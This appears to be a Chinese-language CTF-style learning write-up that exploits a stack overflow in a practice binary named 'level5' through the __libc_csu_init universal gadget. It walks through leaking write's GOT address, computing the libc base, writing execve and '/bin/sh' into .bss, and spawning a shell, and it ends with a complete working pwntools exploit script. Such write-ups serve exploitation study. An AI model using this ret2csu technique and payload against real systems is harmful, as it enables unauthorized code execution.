1. 环境
ubuntu1~16.04.12
pwndbg
python
2.目标
学习通用gedget 构造
3. 流程
栈溢出函数, 漏洞函数
1 2 3 4 5 | ssize_t vulnerable_function(){ char buf[128]; // [rsp+0h] [rbp-80h] BYREF return read(0, buf, 0x200uLL); |
没有system函数需要去libc里找

4.思路
可以使用write打印出内存write_got的内存地址,使用内存地址相减
write_got - libc.symbols['write'] = write的内存地址地址,然后使用read函数把libc的system地址写进bss段构造恶意栈空间控制程序执行流执行栈空间的system函数。
在程序中有一个__libc_csu_init函数是通用的gedget, 可以使用这个代码段来构造自己想要的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | 400600: 4c 89 ea mov rdx,r13400603: 4c 89 f6 mov rsi,r14400606: 44 89 ff mov edi,r15d400609: 41 ff 14 dc call QWORD PTR [r12+rbx*8]40060d: 48 83 c3 01 add rbx,0x1400611: 48 39 eb cmp rbx,rbp400614: 75 ea jne 400600 <__libc_csu_init+0x40>400616: 48 83 c4 08 add rsp,0x840061a: 5b pop rbx40061b: 5d pop rbp40061c: 41 5c pop r1240061e: 41 5d pop r13400620: 41 5e pop r14400622: 41 5f pop r15400624: c3 ret |
可以操作寄存器的代码段是0x400616,其中rbx可以设置为0,剩下的寄存器都和
0x400600有关,rbx=控制0x400614的确保相等就不会往上跳转设置为1,r12=0x400609因为rbx是0只要r12存放的是函数的地址就会call过去,r13=0x400600会间接控制rdx,r14=0x400603间接控制rsi,, r15=0x400606间接控制edi
利用执行流程
0x400624->0x400600->(0x400624)再次跳转的位置
- 构造通用getged
1 2 3 4 5 6 | def csu(rbx, rbp, r12,r13 , r14, r15): payload = b'a'*136+p64(getget1)+p64(rbx) +p64(rbp)+p64(r12)+p64(r13)+p64(r14) +p64(r15) + p64(getget2) payload += b'v'*56 payload += p64(start_addrs) return payload pass |
- 获取write内存地址
1 2 3 4 5 6 7 | payload = csu(0,1, write_addrs_got, 8, write_addrs_got, 0x1)p.recvuntil("Hello, World\n")p.send(payload)sleep(1)write_addrs = u64(p.recv(8))print("hex write_got = %s" % hex(write_addrs)) |
- 获取system地址
1 2 3 4 5 | # libc 基地址libc.address = write_addrs - libc.symbols['write']print("libc基地址 = %s" % hex(libc.address))execve_addrss = libc.symbols['execve']p.recvuntil('Hello, World\n') |
- system和/bin/sh函数写入bss段
1 2 3 4 5 6 7 8 9 | # payload 2payload2 = csu(0,1, read_addrs_got, 16, elf_addrs, 0)p.send(payload2)sleep(1)p.send(p64(execve_addrss))p.send(b'/bin/sh\0')sleep(1)p.recvuntil('Hello, World\n') |
- 调用构造好的system函数
1 2 | payload3 = csu(0,1,elf_addrs, 0,0,elf_addrs+8)p.send(payload3) |
Exp构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 | #coding=utf-8from pwn import *p = process('level5')# libc = ELF('libc.so')elf = ELF('level5')libc = elf.libcstart_addrs = elf.symbols['_start']write_addrs_got = elf.got['write']read_addrs_got = elf.got['read']getget1 = 0x40061agetget2 = 0x400600elf_addrs = elf.bss()print("bss = ", elf_addrs)def csu(rbx, rbp, r12,r13 , r14, r15): payload = b'a'*136+p64(getget1)+p64(rbx) +p64(rbp)+p64(r12)+p64(r13)+p64(r14) +p64(r15) + p64(getget2) payload += b'v'*56 payload += p64(start_addrs) return payload pass""" 400596: ba 0d 00 00 00 mov edx,0xd 40059b: be 44 06 40 00 mov esi,0x400644 4005a0: bf 01 00 00 00 mov edi,0x1 4005a5: e8 86 fe ff ff call 400430 <write@plt>"""# payload ============= 1payload = csu(0,1, write_addrs_got, 8, write_addrs_got, 0x1)p.recvuntil("Hello, World\n")p.send(payload)sleep(1)write_addrs = u64(p.recv(8))print("hex write_got = %s" % hex(write_addrs))# libc 基地址libc.address = write_addrs - libc.symbols['write']print("libc基地址 = %s" % hex(libc.address))execve_addrss = libc.symbols['execve']p.recvuntil('Hello, World\n')# 写入/bin/sh""" 400572: ba 00 02 00 00 mov edx,0x200 400577: 48 89 c6 mov rsi,rax 40057a: bf 00 00 00 00 mov edi,0x0 40057f: e8 bc fe ff ff call 400440 <read@plt>"""if args.G: gdb.attach(p, 'b *vulnerable_function')#raw_input()# payload ============= 2payload2 = csu(0,1, read_addrs_got, 16, elf_addrs, 0)p.send(payload2)sleep(1)p.send(p64(execve_addrss))p.send(b'/bin/sh\0')sleep(1)p.recvuntil('Hello, World\n')# 调用system函数""" 400585: 48 89 e5 mov rbp,rsp 400588: bf dc 06 40 00 mov edi,0x4006dc 40058d: e8 de fe ff ff call 400470 <system@plt>"""# payload ============= 3payload3 = csu(0,1,elf_addrs, 0,0,elf_addrs+8)p.send(payload3)p.interactive() |